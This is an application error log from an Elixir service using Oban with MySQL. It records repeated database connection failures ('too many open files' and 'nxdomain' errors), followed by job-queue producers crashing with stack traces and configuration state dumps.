State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:19:40.239790Z], limit: 5, uuid: "117d8abb-f683-42d3-8179-8b854297d4bb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:40.239795Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.16512>, refresh_timer: #Reference<0.2525715032.1099431938.16497>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:57.149000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:57.734000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:20:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:19:48.255746Z], limit: 10, uuid: "f6deeb5b-3761-49a4-99cf-ee5c8a35d984", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:48.255766Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.248419>, refresh_timer: #Reference<0.2525715032.1077411843.248400>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:20:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2056ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:19:48.256154Z], limit: 50, uuid: "2482dc5a-2735-463b-a982-120398c710f0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:48.256162Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.5310>, refresh_timer: #Reference<0.2525715032.1068498948.5309>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:20:00.976000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:20:01.814000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:20:03.106000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:20:04.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:19:52.239743Z], limit: 5, uuid: "e89b4274-c00a-42af-ad7a-500bd760d587", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:52.239749Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.248572>, refresh_timer: #Reference<0.2525715032.1121189889.115895>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:20:04.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:19:52.245894Z], limit: 5, uuid: "8b496167-9a78-4f44-a584-d19a0558d516", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:52.245900Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.248575>, refresh_timer: #Reference<0.2525715032.1099431938.16622>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:20:04.243000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1851ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:19:52.241988Z], limit: 20, uuid: "077e730e-bd49-44e7-a124-42e934f31b02", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:52.241993Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.248574>, refresh_timer: #Reference<0.2525715032.1099431938.16610>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:20:04.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1851ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:19:52.239320Z], limit: 3, uuid: "997b938b-9911-4031-83ff-5520f758d65a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:52.239330Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.248573>, refresh_timer: #Reference<0.2525715032.1121189889.115885>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:20:05.915000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:20:07.771000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:20:09.311000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:22:16.053000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) non-existing domain - :nxdomain
[Sat Sep  5 23:22:14.646000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2034ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:20:00.243468Z], limit: 50, uuid: "dc3c58d8-a481-4311-944c-32de007d14ae", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:20:00.243483Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.248789>, refresh_timer: #Reference<0.2525715032.1068498948.5430>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:20.249000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) non-existing domain - :nxdomain
[Sat Sep  5 23:27:20.250000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) non-existing domain - :nxdomain
[Sat Sep  5 23:24:33.842000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) non-existing domain - :nxdomain
[Sat Sep  5 23:24:52.569000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) non-existing domain - :nxdomain
[Sat Sep  5 23:27:10.318000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) non-existing domain - :nxdomain
[Sat Sep  5 23:27:20.273000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:22:14.468000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2077ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
